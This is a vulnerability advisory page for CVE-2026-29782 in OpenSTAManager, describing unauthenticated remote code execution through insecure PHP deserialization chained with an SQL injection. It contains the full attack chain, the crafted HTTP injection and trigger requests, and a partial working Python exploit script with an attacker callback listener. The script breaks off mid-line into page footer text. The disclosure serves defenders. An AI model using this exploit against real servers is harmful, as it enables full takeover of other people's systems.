devcode-it/openstamanager
Affected
- introduced
0, fixed2.10.2(ecosystem)
Fixed versions
2.10.2
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-29782
OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2
Description
The oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction.
An attacker who can write to the zz_oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.
Affected code
Entry point — oauth2.php
$skip_permissions = true; // Line 23: NO AUTHENTICATION
include_once __DIR__.'/core.php';
$state = $_GET['state']; // Line 28: attacker-controlled
$code = $_GET['code'];
$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state); // Line 51: triggers the chain
Deserialization — src/Models/OAuth2.php
// Line 193 (checkTokens):
$access_token = $this->access_token ? unserialize($this->access_token) : null;
// Line 151 (getAccessToken):
return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;
unserialize() is called without the allowed_classes parameter, allowing instantiation of any class loaded by the Composer autoloader.
Execution flow
oauth2.php (no auth)
→ configure()
→ needsConfiguration()
→ getAccessToken()
→ checkTokens()
→ unserialize($this->access_token) ← attacker payload
→ Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
→ $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error
→ During error cleanup:
→ PendingBroadcast.__destruct() ← fires during shutdown
→ system($command) ← RCE
The HTTP response is 500 (due to the hasExpired() error), but the command has already executed via __destruct() during error cleanup.
Full attack chain
This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:
op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object into zz_oauth2.access_tokenoauth2.php?state=<known_value>&code=x triggers the deserialization and executes the commandPersistence note: The risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.
Gadget chain
The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:
PendingBroadcast.__destruct()
→ $this->events->dispatch($this->event)
→ chain of __call() / __invoke()
→ system($command)
Proof of Concept
Execution
Terminal 1 — Attacker listener:
python3 listener.py --port 9999
Terminal 2 — Exploit:
python3 exploit.py \
--target http://localhost:8888 \
--callback http://host.docker.internal:9999 \
--user admin --password <password>
<img width="638" height="722" alt="image" src="https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f" />
Observed result
Listener receives:
<img width="683" height="286" alt="image" src="https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1" />
The id command was executed on the server as www-data, confirming RCE.
HTTP requests from the exploit
Step 4 — Injection (authenticated):
POST /actions.php HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded
op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"]
Step 5 — Trigger (NO authentication):
GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1
(No cookies — completely anonymous request)
Response: HTTP 500 (expected — the error occurs after __destruct() has already executed the command)
Exploit — exploit.py
#!/usr/bin/env python3
"""
OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization)
Usage:
python3 listener.py --port 9999
python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234
"""
import argparse
import json
import random
import re
import string
import subprocess
import sys
import time
try:
import requests
except ImportError:
print("[!] pip install requests")
sys.exit(1)
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
BANNER = f"""
{RED}{'=' * 58}{RESET}
{RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET}
{RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET}
{RED}{'=' * 58}{RESET}
"""
def log(msg, status="*"):
icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"}
print(f" [{icons.get(status, '*')}] {msg}")
def step_header(num, title):
print(f"\n {BOLD}── Step {num}: {title} ──{RESET}\n")
def generate_payload(container, command):
step_header(1, "Generate Gadget Chain Payload")
log("Checking phpggc in container...")
result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture_output=True)
if result.returncode != 0:
log("Installing phpggc...", "!")
proc = subprocess.run(
["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"],
capture_output=True, text=True,
)
if proc.returncode != 0:
log(f"Failed to install phpggc: {proc.stderr}", "-")
sys.exit(1)
log(f"Command: {DIM}{command}{RESET}")
result = subprocess.run(
["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command],
capture_output=True,
)
if result.returncode != 0:
log(f"phpggc failed: {result.stderr.decode()}", "-")
sys.exit(1)
payload_bytes = result.stdout
log(f"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}", "+")
return payload_bytes
def authenticate(target, username, password):
step_header(2, "Authenticate")
session = requests.Session()
log(f"Logging in as '{username}'...")
resp = session.post(
f"{target}/index.php",
data={"op": "login", "username": username, "password": password},
allow_redirects=False, timeout=10,
)
location = resp.headers.get("Location", "")
if resp.status_code != 302 or "index.php" in location:
log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-")
sys.exit(1)
session.get(f"{target}{location}", timeout=10)
log("Authenticated", "+")
return session
def find_module_id(session, target, container):
step_header(3, "Find 'Aggiornamenti' Module ID")
log("Searching navigation sidebar...")
resp = session.get(f"{target}/controller.php", timeout=10)
for match in re.finditer(r'id_module=(\d+)', resp.text):
snippet = resp.text[match.start():match.start() + 300]
if re.search(r'[Aa]ggiornamenti', snippet):
module_id = int(match.group(1))
log(f"Module ID: {BOLD}{module_id}{RESET}", "+")
return module_id
log("Not found in sidebar, querying database...", "!")
result = subprocess.run(
["docker", "exec", container, "php", "-r",
"require '/var/www/html/config.inc.php'; "High Basis: The source's own band: HIGH
0, fixed 2.10.2 (ecosystem)2.10.2
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0